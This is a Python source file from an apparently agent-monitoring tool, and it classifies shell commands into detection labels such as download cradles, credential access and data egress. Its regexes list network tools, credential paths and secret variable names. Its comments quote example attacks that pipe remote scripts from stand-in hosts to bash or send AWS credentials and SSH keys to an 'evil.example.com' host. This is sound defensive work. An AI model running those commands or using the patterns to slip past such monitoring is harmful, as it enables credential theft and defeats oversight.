agentmetry 0.4.0__py3-none-any.whl

agentmetry/core/audit/detection/traits.py

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+"""Command classification shared by the sequence rules and the hook client.
+
+The default privacy configuration hashes tool arguments inside the hook process
+and never stores command text, which left every command-regex rule blind on real
+captured traffic: the demo and the tests injected `command`, production events
+did not have one. The fix is to classify the command *where the plaintext is
+still visible* — in the hook, before hashing — and ship only category labels
+(`tool.traits`). No command text leaves the machine; the rules match the labels
+when the text is absent.
+
+This module is imported by scripts/agentmetry_ingest.py via the same sys.path
+mechanism as the DLP scanner, so it must stay dependency-free: `re` only, no
+core.config, no pydantic.
+
+Rule docstrings explaining each pattern's provenance stay in rules.py; this
+module owns the regexes so the hook and the rules cannot drift apart.
+"""
+
+from __future__ import annotations
+
+import re
+
+# A raw-IP URL and a download/execute verb in the same command is a classic
+# malware download cradle. Legit tooling uses domains and package managers.
+RAW_IP_URL = re.compile(r"https?://((?:\d{1,3}\.){3}\d{1,3})")
+# Loopback is not ingress — fetching your own orchestrator's health endpoint
+# must not read as a download cradle (see rules.py for the war story).
+LOOPBACK_IP = re.compile(r"^(?:127(?:\.\d{1,3}){3}|0\.0\.0\.0)$")
+# Every URL host in a command, so a pipe-to-interpreter can be judged by where it
+# actually points rather than by shape alone.
+URL_HOST = re.compile(r"https?://(\[[0-9a-f:]+\]|[^/\s:'\"]+)", re.IGNORECASE)
+# The same machine, spelled the several ways people spell it. `0.0.0.0` is here
+# because curling your own bound service by that address is common, even though
+# it means "all interfaces" when binding rather than when connecting.
+LOOPBACK_HOST = re.compile(
+    r"^(?:127(?:\.\d{1,3}){3}|0\.0\.0\.0|localhost|\[::1\]|\[::ffff:127(?:\.\d{1,3}){3}\])$",
+    re.IGNORECASE,
+)
+DOWNLOAD_EXEC = re.compile(
+    r"downloadstring|downloadfile|invoke-webrequest|\biwr\b|\bcurl\b|\bwget\b|"
+    r"certutil|bitsadmin|invoke-expression|\biex\b",
+    re.IGNORECASE,
+)
+ENCODED_CMD = re.compile(r"-enc(odedcommand)?\b|frombase64string", re.IGNORECASE)
+
+# Fetch remote content and feed it straight to an interpreter (ADI §4.2).
+PIPE_TO_SHELL = re.compile(
+    r"\b(curl|wget|iwr|invoke-webrequest|invoke-restmethod)\b[^|;&]*[|]\s*"
+    r"(sudo\s+)?\b(ba|z|k|da)?sh\b|"
+    r"\b(curl|wget|iwr|invoke-webrequest|invoke-restmethod)\b[^|;&]*[|]\s*"
+    r"(iex|invoke-expression|python\d?|perl|ruby|node)\b",
+    re.IGNORECASE,
+)
+
+# The same cradle without a pipe. `bash <(curl -s https://host/x.sh)` and
+# `source <(curl ...)` fetch and execute in one step and never contain the `|`
+# that PIPE_TO_SHELL requires, so they walked past every download-cradle rule.
+# Found by auditing the engine for five-minute evasions rather than by a
+# detection firing, which is the point: the corpus only ever contained the
+# shapes somebody thought to write down.
+# `<(` is process substitution and `< <(` redirects from it; both are one `<`
+# away from each other and an earlier draft of this pattern required two,
+# matching neither of the forms an attacker would actually type.
+PROC_SUBST_EXEC = re.compile(
+    r"\b(?:sudo\s+)?(?:ba|z|k|da)?sh\b\s*<\s*(?:<\s*)?\(\s*(?:curl|wget|iwr)\b|"
+    r"\b(?:source|\.)\s+<\s*(?:<\s*)?\(\s*(?:curl|wget|iwr)\b|"
+    r"\b(?:python\d?|perl|ruby|node)\b[^\n|;&]*<\s*(?:<\s*)?\(\s*(?:curl|wget|iwr)\b",
+    re.IGNORECASE,
+)
+
+# Tools whose whole job is to move bytes off the box. Lives here rather than in
+# mitre.py so the mapper and the trait classifier cannot drift, which is the
+# lesson of #40.
+BARE_IP = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
+NETWORK_CLIENT = re.compile(
+    r"\b(curl|wget|iwr|invoke-webrequest|invoke-restmethod|nc|netcat|scp|rsync|ftp|telnet)\b",
+    re.IGNORECASE,
+)
+
+
+def reaches_remote_host(command: str) -> bool:
+    """True when the command names a target that is not this machine.
+
+    Loopback is not egress. Hitting your own health endpoint is the single most
+    common thing a developer does while running this tool, and counting it would
+    bury the one event that matters under a hundred that do not. Anything off
+    the box counts, including the LAN: exfil to the machine next to you is
+    still exfil.
+    """
+    hosts = URL_HOST.findall(command or "") + BARE_IP.findall(command or "")
+    return any(not LOOPBACK_HOST.match(h) for h in hosts)
+
+
+# A fetch that writes the response to a named file, from any host. The staged
+# half of a two-step cradle, and deliberately host-agnostic: STAGING_HOST is a
+# list of seven services, and registering a domain costs a few euros (#43).
+#
+# Host-agnostic only works because the *rule* additionally requires that the
+# file written here is the file executed later. Treating any remote fetch as
+# staging would fire on `curl -sO https://api.example.com/schema.json && python
+# generate.py`, which is a normal working day.
+# Deliberately not one regex. curl's download flags do not share a shape and a
+# single pattern got all of these wrong:
+#
+#   curl -o /tmp/x.sh URL     writes /tmp/x.sh          (flag takes an argument)
+#   curl -O URL               writes ./x.sh             (flag takes NONE; name
+#                                                        comes from the URL)
+#   curl -sO URL              same, combined short flags
+#   curl -fsSLo /tmp/y.sh URL same as -o, combined
+#   wget URL                  writes ./x.sh             (no flag at all)
+#
+# The first draft matched `-o|--output|-O|...` followed by a token, which missed
+# `-sO` and `-fsSLo` entirely and, for `curl -s -O URL`, captured the string
+# "https" as the filename. Case matters too: curl's `-o` and `-O` are different
+# flags, so these are the one place in this module that must not be IGNORECASE.
+_FETCH_OUTPUT_FLAG = re.compile(r"(?:^|\s)-[a-zA-Z]*o\s+(?P<path>[^\s|;&]+)")
+_FETCH_OUTFILE_FLAG = re.compile(r"(?:^|\s)(?:--output|-OutFile)\s+(?P<path>[^\s|;&]+)", re.IGNORECASE)
+_FETCH_REMOTE_NAME = re.compile(r"(?:^|\s)-[a-zA-Z]*O(?:\s|$)|--remote-name\b")
+_FETCH_URL = re.compile(r"https?://[^\s'\"|;&]+", re.IGNORECASE)
+_BARE_WGET = re.compile(r"\bwget\b", re.IGNORECASE)
+_CURL_CMD = re.compile(r"\bcurl\b", re.IGNORECASE)
+# wget's -O is the output document. Its lowercase -o is a logfile, so it is
+# deliberately absent here.
+_WGET_OUTPUT_FLAG = re.compile(r"(?:^|\s)(?:-[a-zA-Z]*O|--output-document(?:=|\s+))\s*(?P<path>[^\s|;&]+)")
+
+FETCH_TO_FILE = re.compile(
+    r"\b(?:curl|wget|iwr|invoke-webrequest)\b", re.IGNORECASE
+)
+
+# Running a named file through an interpreter or shell.
+EXECUTE_FILE = re.compile(
+    r"\b(?:bash|sh|zsh|dash|source|\.)\s+(?P<path>[\w./~\\-]+\.(?:sh|bash|zsh))\b|"
+    r"\b(?:python\d?|perl|ruby|node|deno|bun)\s+(?P<path2>[\w./~\\-]+\.(?:py|pl|rb|js|mjs|ts))\b|"
+    r"\bpowershell(?:\.exe)?\s+(?:-\w+\s+)*(?P<path3>[\w./~\\-]+\.ps1)\b|"
+    r"\bchmod\s+\+x\s+(?P<path4>[\w./~\\-]+)",
+    re.IGNORECASE,
+)
+
+
+def _basename(path: str) -> str:
+    return path.rsplit("/", 1)[-1].rsplit("\\", 1)[-1].split("?", 1)[0]
+
+
+def fetched_files(command: str) -> set[str]:
+    """Basenames a command downloads to disk, from any host.
+
+    Handled per tool, because curl and wget give the same two letters opposite
+    meanings and treating them alike produces the wrong filename rather than no
+    filename, which is the worse failure:
+
+        curl -o FILE URL    writes FILE
+        curl -O URL         writes the URL basename (flag takes no argument)
+        wget -O FILE URL    writes FILE
+        wget -o FILE URL    writes a LOG to FILE; the download still goes to
+                            the URL basename
+        wget URL            writes the URL basename
+
+    `wget -O /tmp/payload.sh https://host/readme.txt` is the case that made this
+    worth splitting: read as curl it yields `readme.txt`, the later
+    `bash /tmp/payload.sh` does not match, and the rule goes quiet.
+    """
+    text = command or ""
+    if not FETCH_TO_FILE.search(text):
+        return set()
+
+    found: set[str] = set()
+    url_names = {_basename(u) for u in _FETCH_URL.findall(text)}
+    url_names.discard("")
+
+    uses_wget = _BARE_WGET.search(text) is not None
+    uses_curl = _CURL_CMD.search(text) is not None
+
+    if uses_wget:
+        explicit = [
+            _basename(m.group("path")) for m in _WGET_OUTPUT_FLAG.finditer(text)
+        ]
+        explicit = [n for n in explicit if n and not n.startswith("-")]
+        found.update(explicit or url_names)
+
+    if uses_curl:
+        explicit = [
+            _basename(m.group("path")) for m in _FETCH_OUTPUT_FLAG.finditer(text)
+        ]
+        explicit = [n for n in explicit if n and not n.startswith("-")]
+        found.update(explicit)
+        if _FETCH_REMOTE_NAME.search(text):
+            found.update(url_names)
+
+    for m in _FETCH_OUTFILE_FLAG.finditer(text):  # PowerShell -OutFile
+        name = _basename(m.group("path"))
+        if name and not name.startswith("-"):
+            found.add(name)
+
+    return found
+
+
+def executed_files(command: str) -> set[str]:
+    """Basenames a command runs."""
+    found: set[str] = set()
+    for m in EXECUTE_FILE.finditer(command or ""):
+        for group in ("path", "path2", "path3", "path4"):
+            value = m.group(group)
+            if value:
+                found.add(value.rsplit("/", 1)[-1].rsplit("\\", 1)[-1])
+    return found
+
+
+# An interpreter that speaks HTTP is a network client, whatever it is called.
+# `_NETWORK_CLIENT` in mitre.py listed curl, wget, nc, scp and friends, so
+# `python -c "urllib.request.urlopen(...)"` carrying a file out was tagged
+# generic Execution and `credential-exfil` could not fire on it. That is the
+# modal exfil channel in a cloud or CI environment, where curl may not even be
+# installed but a Python runtime always is.
+INTERPRETER_NETWORK = re.compile(
+    r"\b(?:python\d?|node|deno|bun|ruby|perl|php)\b[^\n]*?"
+    r"(?:urlopen|urllib|requests\.(?:get|post|put|patch|request)|httpx|"
+    r"http\.client|aiohttp|socket\.(?:socket|create_connection)|"
+    r"net/http|open-uri|Net::HTTP|LWP::|"
+    r"fetch\s*\(|axios|XMLHttpRequest|file_get_contents|curl_exec)",
+    re.IGNORECASE,
+)
+
+# `bash: rm -rf build/` is a deletion even though the tool is named "Bash".
+DELETE_COMMAND = re.compile(
+    r"\brm\s+(-[a-z]*\s+)*|\brmdir\b|\bunlink\b|remove-item\b|\bdel\s+/", re.IGNORECASE
+)
+
+# Content an outsider can author (gh issues/PRs, git fetch) — ADI provenance.
+UNTRUSTED_INPUT_COMMAND = re.compile(
+    r"\bgh\s+(issue|pr)\s+(view|list|diff|comment)|"
+    r"\bgit\s+(fetch|pull|clone)\b",
+    re.IGNORECASE,
+)
+
+# PR review provenance (ADI §4.3): description vs code vs merge.
+PR_DESC_COMMAND = re.compile(r"\bgh\s+pr\s+view\b", re.IGNORECASE)
+PR_COMMIT_COMMAND = re.compile(
+    r"\bgh\s+pr\s+(diff|checkout|files)\b|\bgit\s+show\b", re.IGNORECASE
+)
+PR_MERGE_COMMAND = re.compile(r"\bgh\s+pr\s+merge\b|\bgit\s+merge\b", re.IGNORECASE)
+
+# Cloud and cluster APIs used after credential harvest (HF July 2026 lateral phase).
+CLOUD_API = re.compile(
+    r"\bkubectl\b|"
+    r"(?:^|\s)aws\s+\w|"
+    r"\bgcloud\b|"
+    r"\baz\s+(?:account|login|keyvault|aks|storage)\b|"
+    r"\b(?:hf|huggingface-cli)\b|"
+    r"\baliyun\b|\btencentcloud\b|\bbce\b|\bossutil\b|\bcoscmd\b",
+    re.IGNORECASE,
+)
+
+# Push harvested material to a remote the operator did not intend (Nx s1ngularity).
+GIT_EXFIL = re.compile(
+    r"\bgit\s+push\b|"
+    r"\bgh\s+repo\s+(?:create|sync)\b|"
+    r"\bgh\s+release\s+upload\b",
+    re.IGNORECASE,
+)
+
+# Public staging hosts used for agent C2 (gist, HF raw files, GitHub raw content).
+STAGING_HOST = re.compile(
+    r"https?://(?:[\w-]+\.)?(?:"
+    r"githubusercontent\.com|gist\.github\.com|raw\.github\.com|"
+    r"huggingface\.co|pastebin\.com|gitlab\.com|bitbucket\.org"
+    r")",
+    re.IGNORECASE,
+)
+STAGING_FETCH = re.compile(
+    r"\b(curl|wget|iwr|invoke-webrequest|invoke-restmethod)\b",
+    re.IGNORECASE,
+)
+# Second-step execution after a staged download — excludes package managers.
+RISKY_EXEC_AFTER_STAGING = re.compile(
+    r"\b(bash|sh|zsh|dash)\s+[\w./~-]+\.(?:sh|bash)\b|"
+    r"\bpython\d?\s+[\w./~-]+\.py\b|"
+    r"\bpython\d?\s+-c\b|"
+    r"\b(iex|invoke-expression|eval)\b|"
+    r"\bpowershell(?:\.exe)?\s+-(?:enc|f|file)\b",
+    re.IGNORECASE,
+)
+BENIGN_AFTER_STAGING = re.compile(
+    r"\b(npm|yarn|pnpm|pip|pip3|cargo|go)\s+(?:install|run|build)\b",
+    re.IGNORECASE,
+)
+
+# ----------------------------------------------------------------------
+# Credential access
+#
+# This used to live only in mitre.py, as a tuple of substrings matched with
+# `p in text`. Two consequences, both real:
+#
+# 1. `.env` matched anything containing those four characters, so the module
+#    path `agentmetry.core.diagnostics.env_file` was tagged T1552.001 and
+#    manufactured the credential half of two critical findings (#40).
+# 2. It only ever described *paths*, so `echo $AWS_SECRET_ACCESS_KEY` was
+#    generic Execution. Reading a secret out of the environment is how
+#    credentials are held in every container and CI runner built this decade.
+#
+# It lives here now because the trait classifier and the MITRE mapper were two
+# classifiers making the same judgement from different data, and the sequence
+# rules trusted the one with less information. One source, one answer.
+# ----------------------------------------------------------------------
+
+# Distinctive enough that seeing them at all is worth a tag. `.aws/credentials`
+# and `.docker/config.json` do not turn up in a sentence by accident.
+CREDENTIAL_PATH = re.compile(
+    r"\.aws[/\\]credentials\b|"
+    r"\.netrc\b|\.npmrc\b|"
+    r"\.kube[/\\]config\b|"
+    r"\bcredentials\.json\b|\bservice-account\b|"
+    r"\bsecrets\.ya?ml\b|"
+    r"\.docker[/\\]config\.json\b|"
+    r"\.config[/\\]gcloud\b",
+    re.IGNORECASE,
+)
+
+# `.env` needs its own rule because it is four characters long and reads like
+# prose. Anchoring it as a filename was not enough: `git commit -m "docs:
+# explain .env handling"` still matched, and a commit message is the single
+# most likely place for a developer to type it.
+#
+# So it must look like a *path* (`~/.env`, `./.env`, `config/.env.local`) or sit
+# directly after something that reads a file. A bare mention in prose does not
+# qualify, which costs nothing: nobody reads a credential file without naming a
+# path or a verb.
+ENV_FILE = re.compile(
+    r"[\w.~$-]*[/\\]\.env(?:\.[A-Za-z0-9_-]+)?\b|"
+    r"\b(?:cat|bat|less|more|head|tail|type|source|export|dotenv|load_dotenv|"
+    r"get-content|gc|cp|mv|scp|rsync|base64|xxd|od|strings|"
+    r"grep|rg|ag|awk|sed|nano|vim|vi|emacs|code|open|start)"
+    r"\s+(?:-[-\w]+\s+)*\.env(?:\.[A-Za-z0-9_-]+)?\b|"
+    r"^\s*\.env(?:\.[A-Za-z0-9_-]+)?\b",
+    re.IGNORECASE | re.MULTILINE,
+)
+
+# `.ssh[/\\]` required a separator *after* the directory name, so a named key
+# matched and the directory holding every key did not: `cp -r ~/.ssh /tmp/k`
+# and `tar czf - ~/.ssh | curl -T - https://...` both produced no traits at all.
+# Taking the whole directory is the natural way to take every key at once, so
+# the shape that mattered most was the one being missed.
+#
+# Anchored the same way ENV_FILE is, and for the same reason: a bare `.ssh` is
+# short enough to appear in prose, and `git commit -m "docs: explain .ssh
+# setup"` must not read as a credential access. It has to look like a path, or
+# follow something that copies or reads one.
+PRIVATE_KEY_PATH = re.compile(
+    r"\bid_(?:rsa|ed25519|dsa|ecdsa)\b|"
+    r"\.pem\b|"
+    r"-----BEGIN\b|"
+    r"[\w.~$-]*[/\\]\.ssh\b|"
+    r"\b(?:cd|cp|mv|tar|zip|gzip|rsync|scp|ls|cat|chmod|find)"
+    r"\s+(?:-[-\w]+\s+)*\.ssh\b",
+    re.IGNORECASE,
+)
+
+_CREDENTIAL_ENV_NAME = (
+    r"(?:AWS_SECRET_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_SESSION_TOKEN|"
+    r"GITHUB_TOKEN|GH_TOKEN|GITLAB_TOKEN|NPM_TOKEN|PYPI_TOKEN|TWINE_PASSWORD|"
+    r"OPENAI_API_KEY|ANTHROPIC_API_KEY|HF_TOKEN|HUGGING_FACE_HUB_TOKEN|"
+    r"DOCKER_PASSWORD|KUBE_TOKEN|"
+    r"[A-Z][A-Z0-9]*_(?:API_KEY|SECRET|SECRET_KEY|ACCESS_KEY|TOKEN|PASSWORD|PASSWD))"
+)
+
+# A *live* reference, not a mention. `$AWS_SECRET_ACCESS_KEY` expands even
+# inside double quotes, which is why this is matched against the raw command
+# while path patterns are not: writing the bare name into documentation is not
+# credential access, and dereferencing it is.
+CREDENTIAL_ENV = re.compile(
+    rf"\$\{{?{_CREDENTIAL_ENV_NAME}|"
+    rf"%{_CREDENTIAL_ENV_NAME}%|"
+    rf"\$env:{_CREDENTIAL_ENV_NAME}|"
+    rf"\bprintenv\b[^\n|;&]*\b{_CREDENTIAL_ENV_NAME}|"
+    rf"\bgetenv\(\s*['\"]{_CREDENTIAL_ENV_NAME}|"
+    rf"\benviron(?:\[|\.get\(\s*)['\"]{_CREDENTIAL_ENV_NAME}",
+    re.IGNORECASE,
+)
+
+# Dumping the whole environment reads every secret in it without naming one.
+CREDENTIAL_ENV_DUMP = re.compile(
+    r"\bprintenv\b\s*(?:$|[|>;&])|"
+    r"\benv\b\s*[|>]|"
+    r"\bget-childitem\s+env:|\bgci\s+env:|\bls\s+env:",
+    re.IGNORECASE,
+)
+
+# Stable vocabulary. Renaming a trait is a breaking change for stored events:
+# rules match these strings on events that may be replayed months later.
+KNOWN_TRAITS = frozenset({
+    "raw_ip_fetch",
+    "encoded_cmd",
+    "pipe_to_shell",
+    "pipe_to_shell_local",
+    "cloud_api",
+    "git_exfil",
+    "staging_fetch",
+    "risky_exec",
+    "delete_cmd",
+    "untrusted_input",
+    "pr_desc",
+    "pr_commit",
+    "pr_merge",
+    "credential_access",
+    "private_key",
+    "net_egress",
+    "fetch_to_file",
+})
+
+
+# A heredoc opener: `<<EOF`, `<<-EOF`, `<< 'PY'`, `<<"SQL"`.
+_HEREDOC_OPEN = re.compile(r"<<-?\s*(['\"]?)([A-Za-z_][A-Za-z0-9_]*)\1")
+
+
+def mask_literals(command: str, *, include_double: bool = True) -> str:
+    """Blank out quoted strings and heredoc bodies, preserving length and layout.
+
+    `include_double=False` masks only the constructs the shell treats as fully
+    literal: single quotes and heredoc bodies. Double quotes still expand `$VAR`
+    and command substitutions, so their contents are live text, not data. That
+    distinction is the whole reason this takes a flag: masking double quotes
+    everywhere would blank `"$AWS_SECRET_ACCESS_KEY"` and lose a real credential
+    dereference, while not masking them at all leaves the false positives.
+
+    Trait regexes match command text, which cannot tell performing an action from
+    writing about one. A command whose *content* was the string
+    `gh pr merge 42 --squash` fired `pr-merged-without-review` at critical, and no
+    pull request was merged: the text was being written into a test fixture.
+
+    That failure lands hardest on the people most likely to adopt this. Anyone
+    authoring detection content, security documentation, or corpus cases spends
+    their day typing the exact strings the rules hunt for, and a security tool
+    that punishes you for writing about security gets uninstalled.
+
+    Masking rather than deleting keeps every offset intact, so a caller can still
+    reason about where in the original command a match sat.
+
+    This is a heuristic and is meant to be. Full shell quoting is a parser's job,
+    and a parser that is wrong about an exotic case fails closed in a way nobody
+    can debug from a hashed command. The shapes handled here -- single quotes,
+    double quotes, heredocs -- are the ones that actually produced false
+    positives. Anything it cannot account for stays visible, so the failure mode
+    is a trait that still fires rather than one that silently stops.
+    """
+    if not command or not isinstance(command, str):
+        return command or ""
+
+    out = list(command)
+    i = 0
+    n = len(command)
+    quote: str | None = None
+
+    while i < n:
+        ch = command[i]
+
+        if quote is None:
+            # A heredoc body is content by definition, whatever it contains.
+            m = _HEREDOC_OPEN.match(command, i)
+            if m:
+                delimiter = m.group(2)
+                body_start = command.find("\n", m.end())
+                if body_start == -1:
+                    i = m.end()
+                    continue
+                body_start += 1
+                end = n
+                for line_start, line in _iter_lines(command, body_start):
+                    if line.strip() == delimiter:
+                        end = line_start
+                        break
+                for j in range(body_start, min(end, n)):
+                    if out[j] != "\n":
+                        out[j] = " "
+                i = min(end, n)
+                continue
+            if ch == "'" or (ch == '"' and include_double):
+                quote = ch
+                out[i] = " "
+            i += 1
+            continue
+
+        # Inside a quote.
+        if ch == "\\" and quote == '"' and i + 1 < n:
+            out[i] = " "
+            out[i + 1] = " "
+            i += 2
+            continue
+        if ch == quote:
+            quote = None
+            out[i] = " "
+            i += 1
+            continue
+        if ch != "\n":
+            out[i] = " "
+        i += 1
+
+    return "".join(out)
+
+
+def _iter_lines(text: str, start: int):
+    """(offset, line) for each line from `start`, so a heredoc end can be located."""
+    idx = start
+    while idx < len(text):
+        nl = text.find("\n", idx)
+        if nl == -1:
+            yield idx, text[idx:]
+            return
+        yield idx, text[idx:nl]
+        idx = nl + 1
+
+
+def pipes_only_loopback(command: str) -> bool:
+    """True when every URL in a pipe-to-interpreter command points at this host.
+
+    `curl http://127.0.0.1:8000/api/v1/audit/status | python -c ...` has the exact
+    shape of a download cradle and none of the substance: nothing crosses the
+    network and nothing untrusted is executed. Querying your own dev server and
+    piping the JSON into an interpreter is a thing developers do several times an
+    hour, and this fired at critical on it.
+
+    That is not a cosmetic problem. A critical which fires several times a day on
+    normal work does not stay a critical: it becomes the alert people learn to
+    scroll past, and by the time a real cradle appears the rule has already lost
+    its reader. The DLP manifest records the same lesson from the other side,
+    where a bare 40-char pattern matched every git commit SHA.
+
+    Deliberately conservative in two ways.
+
+    Loopback is excluded specifically, rather than remote being required. An
+    earlier version of the rule demanded a bare IP address, which let
+    `curl https://evil-cdn.example.com/x.sh | bash` straight through -- and a
+    domain is what a real attacker uses. Any host that is not provably loopback
+    keeps the full-strength trait.
+
+    A command with no URL we can read is treated as remote. `curl $URL | bash`
+    resolves at runtime, so we cannot prove where it points, and guessing in the
+    quiet direction is how a recorder goes blind.
+    """
+    hosts = URL_HOST.findall(command or "")
+    if not hosts:
+        return False
+    return all(LOOPBACK_HOST.match(h) for h in hosts)
+
+
+def classify_command(command: str) -> list[str]:
+    """Map a plaintext command to detection trait labels (never the text itself).
+
+    Three views of the same string, because "does this command do X" and "does
+    this command mention X" are different questions and the regexes cannot tell
+    them apart on their own:
+
+    ``spoken``
+        The raw text. Used only where the shell itself would still act on
+        quoted content, which in practice means variable expansion.
+
+    ``written``
+        Quotes and heredocs blanked. Used for **command words** -- the verbs and
+        operators. `curl`, `| bash`, `rm -rf`, `gh pr merge`. A command word
+        inside quotes is not a command, it is an argument to `echo`.
+
+    ``literal``
+        Single quotes and heredocs blanked, double quotes left alone. Used for
+        **arguments** such as paths. `cat "$HOME/.aws/credentials"` is a real
+        read and must fire; `echo 'cat ~/.aws/credentials'` is prose.
+
+    The rule that falls out of this, and the one worth remembering: *the verb
+    must be unmasked, the arguments may be quoted*. Issue #41 proposed masking
+    everything for every trait, which fixes the false positives and silently
+    breaks `curl "https://evil.example.com/x.sh" | bash`, where quoting the URL
+    is simply how people write it. Trading a visible false positive for an
+    invisible false negative is a bad trade for a recorder.
+    """
+    if not command or not isinstance(command, str):
+        return []
+    traits: list[str] = []
+
+    spoken = command
+    written = mask_literals(command)
+    literal = mask_literals(command, include_double=False)
+
+    # The IP may legitimately sit inside quotes; the fetch verb may not.
+    remote_ips = [ip for ip in RAW_IP_URL.findall(spoken) if not LOOPBACK_IP.match(ip)]
+    if remote_ips and DOWNLOAD_EXEC.search(written):
+        traits.append("raw_ip_fetch")
+    if ENCODED_CMD.search(written):
+        traits.append("encoded_cmd")
+    cradle = PIPE_TO_SHELL.search(written) or PROC_SUBST_EXEC.search(written)
+    if cradle:
+        traits.append(
+            "pipe_to_shell_local" if pipes_only_loopback(spoken) else "pipe_to_shell"
+        )
+    if CLOUD_API.search(written):
+        traits.append("cloud_api")
+    if GIT_EXFIL.search(written):
+        traits.append("git_exfil")
+    if STAGING_HOST.search(spoken) and (
+        STAGING_FETCH.search(written) or DOWNLOAD_EXEC.search(written)
+    ):
+        traits.append("staging_fetch")
+    if not BENIGN_AFTER_STAGING.search(written) and (
+        cradle or RISKY_EXEC_AFTER_STAGING.search(written)
+    ):
+        traits.append("risky_exec")
+    if DELETE_COMMAND.search(written):
+        traits.append("delete_cmd")
+    if UNTRUSTED_INPUT_COMMAND.search(written):
+        traits.append("untrusted_input")
+
+    # Credential access. The env-var forms read `spoken` on purpose: `$SECRET`
+    # expands inside double quotes, so `echo "$AWS_SECRET_ACCESS_KEY"` is a real
+    # dereference. Path forms read `literal`, which is what stops a heredoc full
+    # of source code from being read as a credential read (#40).
+    if (
+        CREDENTIAL_PATH.search(literal)
+        or ENV_FILE.search(literal)
+        or CREDENTIAL_ENV.search(spoken)
+        or CREDENTIAL_ENV_DUMP.search(written)
+    ):
+        traits.append("credential_access")
+    if PRIVATE_KEY_PATH.search(literal):
+        traits.append("private_key")
+
+    # Egress as a fact about one event. `credential-exfil` needed a *later*
+    # event tagged TA0011, so a command that both read a secret and sent it --
+    # `cat ~/.aws/credentials | curl -d @- https://evil.example.com` -- produced
+    # one credential-access event, no second half, and no finding (#42). One
+    # event can carry two facts; the technique field can only carry one, so the
+    # second one lives here.
+    if reaches_remote_host(spoken) and (
+        NETWORK_CLIENT.search(written) or INTERPRETER_NETWORK.search(literal)
+    ):
+        traits.append("net_egress")
+    # `fetched_files`, not `FETCH_TO_FILE`. The latter is only a tool-name gate
+    # since curl's download flags stopped fitting one pattern, and using it here
+    # labelled every remote `curl` as a download to disk.
+    if reaches_remote_host(spoken) and fetched_files(written):
+        traits.append("fetch_to_file")
+
+    # The PR traits read `written`: a command that *writes* `gh pr merge` into a
+    # file is not merging anything, and treating it as though it were fired
+    # `pr-merged-without-review` at critical on someone authoring a test fixture
+    # (issue #24).
+    if PR_DESC_COMMAND.search(written):
+        traits.append("pr_desc")
+    if PR_COMMIT_COMMAND.search(written):
+        traits.append("pr_commit")
+    if PR_MERGE_COMMAND.search(written):
+        traits.append("pr_merge")
+    return traits